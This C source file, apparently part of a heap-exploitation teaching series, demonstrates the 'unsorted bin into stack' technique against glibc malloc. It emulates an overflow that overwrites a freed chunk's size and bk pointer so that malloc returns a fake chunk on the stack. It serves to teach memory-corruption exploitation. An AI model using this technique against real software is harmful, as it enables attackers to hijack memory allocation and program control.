12.unsorted_bin_into_stack

Source

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <stdint.h>
 4 
 5 int main() {
 6   intptr_t stack_buffer[4] = {0};
 7 
 8   fprintf(stderr, "Allocating the victim chunk\n");
 9   intptr_t* victim = malloc(0x100);
10 
11   fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
12   intptr_t* p1 = malloc(0x100);
13 
14   fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
15   free(victim);
16 
17   fprintf(stderr, "Create a fake chunk on the stack");
18   fprintf(stderr, "Set size for next allocation and the bk pointer to any writable address");
19   stack_buffer[1] = 0x100 + 0x10;
20   stack_buffer[3] = (intptr_t)stack_buffer;
21 
22   //------------VULNERABILITY-----------
23   fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
24   fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
25   victim[-1] = 32;
26   victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
27   //------------------------------------
28 
29   fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
30   fprintf(stderr, "malloc(0x100): %p\n", malloc(0x100));
31 }